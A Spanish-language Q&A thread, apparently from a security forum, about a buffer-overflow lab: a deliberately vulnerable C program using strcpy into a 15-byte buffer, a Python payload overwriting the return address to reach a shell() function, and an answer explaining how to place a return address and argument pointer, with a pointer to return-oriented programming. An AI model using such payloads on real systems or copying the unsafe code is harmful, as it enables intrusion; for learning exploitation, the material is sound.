¿Cómo pasar parámetros con un desbordamiento de búfer?

1

Estoy experimentando con los conceptos básicos de desbordamiento de búfer, estoy tratando de llamar a la función de shell sin modificar el código. Hasta ahora he logrado llamarlo pero no puedo encontrar la manera de darle el parámetro correcto (que es exec_string)

Aquí está el código:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/*
* compiled with:
* gcc -O0 -fno-stack-protector lab2B.c -o lab2B -m32
*/

char* exec_string = "/bin/sh";

void shell(char* cmd)
{
    system(cmd);
}

void print_name(char* input)
{
    char buf[15];
    strcpy(buf, input);
    printf("Hello %s\n", buf);
}

int main(int argc, char** argv)
{
    if(argc != 2)
    {
        printf("usage:\n%s string\n", argv[0]);
        return EXIT_FAILURE;
    }

    print_name(argv[1]);

    return EXIT_SUCCESS;
}

Lo ejecuto con ./lab2B $(python -c 'print "A"*27 + "\x8D\x55\x55\x56"') que parece permitirme entrar en shell, de acuerdo con gdb.

Gracias de antemano por tu ayuda

    
pregunta user162119 24.10.2017 - 17:33
fuente

1 respuesta

1

Cuando sobrescriba la dirección de retorno con la dirección de su función shell , intente pensar en esto como una call instrucción para shell .

Como se muestra a continuación, cuando se llama una función, se forma un marco de pila y los parámetros para ella se insertan en la pila, seguido de la dirección de retorno (EIP) de su función anterior junto con sus punteros de pila (ebp, esp) . con tu Stack Pointer en la parte superior del marco.

Esencialmente,despuésdesobrescribirelpunteroderetornocon"\x8D\x55\x55\x56" , deberá agregar otra dirección, ya que es un puntero de retorno para la nueva función, así como la dirección de su puntero de exec_string , que es un parámetro para su nueva función.

Para entender cómo explotar esto, recomendaría aprender más sobre la Programación Orientada al Retorno, esto es una una buena fuente para entender eso y cómo se ve la pila cuando se llama a una función.

    
respondido por el danx 24.10.2017 - 20:34
fuente

Lea otras preguntas en las etiquetas